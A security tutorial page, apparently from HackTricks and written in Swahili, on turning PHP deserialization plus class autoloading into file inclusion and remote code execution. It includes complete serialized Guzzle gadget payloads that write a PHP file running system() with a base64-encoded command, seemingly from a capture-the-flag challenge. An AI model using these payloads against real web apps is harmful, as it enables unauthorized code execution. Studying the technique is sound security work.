PHP - Deserialization + Autoload Classes

Support HackTricks

Kwanza, unapaswa kuangalia ni nini Autoloading Classes.

PHP deserialization + spl_autoload_register + LFI/Gadget

Tuko katika hali ambapo tumepata PHP deserialization katika webapp bila maktaba inayoweza kuathiriwa na gadgets ndani ya phpggc. Hata hivyo, katika kontena hiyo hiyo kulikuwa na webapp tofauti ya composer yenye maktaba zinazoweza kuathiriwa. Kwa hivyo, lengo lilikuwa kuchukua loader ya composer ya webapp nyingine na kuitumia kuchukua gadget ambayo itatumia maktaba hiyo kwa gadget kutoka kwa webapp inayoweza kuathiriwa na deserialization.

Hatua:

  • Umepata deserialization na hakuna gadget katika msimbo wa sasa wa programu

  • Unaweza kutumia spl_autoload_register kama ifuatavyo ili kuchukua faili yoyote ya ndani yenye kiambishi cha .php

  • Kwa hiyo unatumia deserialization ambapo jina la darasa litakuwa ndani ya $name. Huwezi kutumia "/" au "." katika jina la darasa katika kitu kilichosajiliwa, lakini msimbo unabadilisha michoro ("_") kuwa slashes ("/"). Hivyo jina la darasa kama tmp_passwd litabadilishwa kuwa /tmp/passwd.php na msimbo utajaribu kulichukua. Mfano wa gadget utakuwa: O:10:"tmp_passwd":0:{}

spl_autoload_register(function ($name) {

if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}

$filename = "/${name}.php";

if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});

Ikiwa una kupakia faili na unaweza kupakia faili yenye .php extension unaweza kutumia kazi hii moja kwa moja na kupata tayari RCE.

Katika kesi yangu, sikuwa na chochote kama hicho, lakini kulikuwa ndani ya konteina hiyo hiyo ukurasa mwingine wa mtandao wa composer wenye maktaba iliyo hatarini kwa phpggc gadget.

  • Ili kupakia maktaba hii nyingine, kwanza unahitaji kupakia loader ya composer ya programu hiyo nyingine (kwa sababu ya ile ya programu ya sasa haitafikia maktaba za nyingine.) Kujua njia ya programu, unaweza kufanikisha hii kwa urahisi sana na: O:28:"www_frontend_vendor_autoload":0:{} (Katika kesi yangu, loader ya composer ilikuwa katika /www/frontend/vendor/autoload.php)

  • Sasa, unaweza kupakia loader ya maktaba nyingine ya app, hivyo ni wakati wa kuunda phpgcc payload ya kutumia. Katika kesi yangu, nilitumia Guzzle/FW1, ambayo iliniruhusu kuandika faili yoyote ndani ya mfumo wa faili.

  • KUMBUKA: gadget iliyoundwa haikufanya kazi, ili ifanye kazi nilifanya mabadiliko kwenye payload hiyo chain.php ya phpggc na kuweka sifa zote za madarasa kutoka binafsi hadi umma. La sivyo, baada ya deserialization ya string, sifa za vitu vilivyoundwa hazikuwa na thamani yoyote.

  • Sasa tuna njia ya kupakia loader ya maktaba nyingine ya app na kuwa na phpggc payload inayofanya kazi, lakini tunahitaji kufanya hivi katika OMBI MOJA ili loader ipakuliwe wakati gadget inatumika. Kwa hiyo, nilituma array iliyosawazishwa yenye vitu vyote viwili kama:

  • Unaweza kuona kwanza loader ikipakuliwa na kisha payload

a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
  • Sasa, tunaweza kuunda na kuandika faili, hata hivyo, mtumiaji hakuweza kuandika katika folda yoyote ndani ya seva ya wavuti. Hivyo, kama unavyoona katika payload, PHP inaita system na base64 fulani inaundwa katika /tmp/a.php. Kisha, tunaweza kurudia aina ya kwanza ya payload ambayo tulitumia kama LFI ili kupakia mzigo wa composer wa programu nyingine ya wavuti kupakia faili iliyoundwa /tmp/a.php. Ongeza tu kwenye gadget ya deserialization:

a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}

Muhtasari wa payload

  • Pakia autoload ya composer ya webapp tofauti katika kontena moja

  • Pakia gadget ya phpggc ili kutumia maktaba kutoka kwa webapp nyingine (webapp ya awali iliyoathirika na deserialization haina gadget kwenye maktaba zake)

  • Gadget itaunda faili yenye payload ya PHP ndani yake katika /tmp/a.php yenye amri za uhalifu (mtumiaji wa webapp hawezi kuandika katika folda yoyote ya webapp yoyote)

  • Sehemu ya mwisho ya payload yetu itatumia pakiwa faili ya php iliyoundwa ambayo itatekeleza amri

Nilihitaji kuita hii deserialization mara mbili. Katika majaribio yangu, mara ya kwanza faili ya /tmp/a.php iliumbwa lakini haikupakiwa, na mara ya pili ilipakiwa ipasavyo.

Support HackTricks

Last updated